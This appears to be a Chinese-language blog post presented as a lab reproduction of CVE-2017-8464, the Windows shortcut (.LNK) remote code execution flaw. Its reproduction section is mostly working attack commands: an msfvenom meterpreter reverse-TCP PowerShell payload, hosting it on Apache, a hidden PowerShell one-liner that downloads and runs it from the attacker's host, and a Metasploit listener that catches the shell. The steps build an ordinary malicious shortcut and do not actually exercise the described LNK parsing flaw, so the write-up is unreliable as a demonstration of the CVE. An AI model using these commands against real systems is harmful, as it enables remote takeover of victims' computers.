CVE-2017-8464远程命令执行漏洞（震网漏洞）复现

绝地灬酷狼 2024-04-07 11:07 55阅读 0赞

#### 前言 ####

2017年6月13日，微软官方发布编号为CVE-2017-8464的漏洞公告，官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞，黑客可以通过U盘、网络共享等途径触发漏洞，完全控制用户系统，安全风险高危

#### 漏洞描述 ####

攻击者可以向用户呈现包含恶意的.LNK文件和相关联的恶意二进制文件的可移动驱动器或远程共享。 当用户在Windows资源管理器或解析.LNK文件的任何其他应用程序中打开此驱动器(或远程共享)时，恶意二进制程序将在目标系统上执行攻击者选择的代码，成功利用此漏洞的攻击者可以获得与本地用户相同的用户权限。  
注释:.LNK是windows系统内应用程序快捷方式文件的文件类型后缀名。  
漏洞利用条件和方式:

远程利用  
漏洞影响范围:

*  Microsoft Windows 10 Version 1607 for 32-bit Systems
 *  Microsoft Windows 10 Version 1607 for x64-based Systems
 *  Microsoft Windows 10 for 32-bit Systems
 *  Microsoft Windows 10 for x64-based Systems
 *  Microsoft Windows 10 version 1511 for 32-bit Systems
 *  Microsoft Windows 10 version 1511 for x64-based Systems
 *  Microsoft Windows 10 version 1703 for 32-bit Systems
 *  Microsoft Windows 10 version 1703 for x64-based Systems
 *  Microsoft Windows 7 for 32-bit Systems SP1
 *  Microsoft Windows 7 for x64-based Systems SP1
 *  Microsoft Windows 8.1 for 32-bit Systems
 *  Microsoft Windows 8.1 for x64-based Systems
 *  Microsoft Windows RT 8.1

服务器系统

*  Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1
 *  Microsoft Windows Server 2008 R2 for x64-based Systems SP1
 *  Microsoft Windows Server 2008 for 32-bit Systems SP2
 *  Microsoft Windows Server 2008 for Itanium-based Systems SP2
 *  Microsoft Windows Server 2008 for x64-based Systems SP2
 *  Microsoft Windows Server 2012
 *  Microsoft Windows Server 2012 R2
 *  Microsoft Windows Server 2016

#### 漏洞复现: ####

**利用原理**：

创建恶意快捷方式，包含恶意执行脚本，点击恶意快捷方式，导致本机中病毒。

**环境搭建**：

攻击机：kali ip：10.0.0.140

目标靶机：win2008r2x64 ip:192.168.99.104

1.kali下生成一个反弹的 ps1的shell:

msfvenom  -p   windows/x64/meterpreter/reverse_tcp  lhost=10.0.0.140   lport=5555  -f  psh-reflection>/opt/search.ps1

![bf21dd7c7a1e74029424849e1ce738bf.png][]

2.切换到opt目录，然后查看到已生成了search.ps1 的powershell 后门

cd /opt
    
    ls

![ba18359cc4ad3fb25807e81650681ea8.png][]

3.将生成的search.ps1拷贝到/var/www/html目录下

mv  search.ps1  /var/www/html
    
    ls

![3117ad575e4beb13faab0b54db845422.png][]

4.启动apache服务

service apache2 start

![d0e821ac8b806f5cfe1f8b6bcd4413f7.png][]

5.访问web下的search.ps1，可以直接访问：

![d77d42b56e6a15a67bb325aa2dd8d6fb.png][]

6.在靶机上创建一个powershell远程快捷：

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.140/search.ps1');test.ps1"

![742323bcb36562b9d562a2bcfcbd024d.png][]

7.名称为:powershell.exe

![c58a40a30184a9a8c5e4272326dfd896.png][]

8.kali下创建监听反弹，并且可以看到成功反弹出靶机的shell:

use exploit/multi/handler
    
    set payload windows/x64/meterpreter/reverse_tcp
    
    show options
    
    set LHOST 10.0.0.140
    
    set lport  5555  
    
    exploit

![c4148731a105f7783fb02c22476ed597.png][]

![0732a73a78a5d8e37774cbf2d18eb92b.png][]

![62438bf2f512e5a063c6cbfaccea5ce9.png][]

[bf21dd7c7a1e74029424849e1ce738bf.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/8ddca04bbc52484fa7b53d5c2eabb9c8.png
[ba18359cc4ad3fb25807e81650681ea8.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/483334ad8e8f4f649a934d0c874f753a.png
[3117ad575e4beb13faab0b54db845422.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/3f9d4b1c9abe49a8a4deed696bdab312.png
[d0e821ac8b806f5cfe1f8b6bcd4413f7.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/12100f31f9774b51a4e57012d7ec6908.png
[d77d42b56e6a15a67bb325aa2dd8d6fb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f68a78f7054f4d85befbb3b6444dff8b.png
[742323bcb36562b9d562a2bcfcbd024d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/cfffdc5321ca4ab69ef4435e2085243e.png
[c58a40a30184a9a8c5e4272326dfd896.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/46f4ec5ac7bc404b9d75cadaa1b561cf.png
[c4148731a105f7783fb02c22476ed597.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d1d259bc37ce4c88abbca83bd20944da.png
[0732a73a78a5d8e37774cbf2d18eb92b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/7bfe38e7a0b94cd7b54424c3f4dc6e97.png
[62438bf2f512e5a063c6cbfaccea5ce9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/cd4a49c0b7654d2eb855ff11d2de8a04.png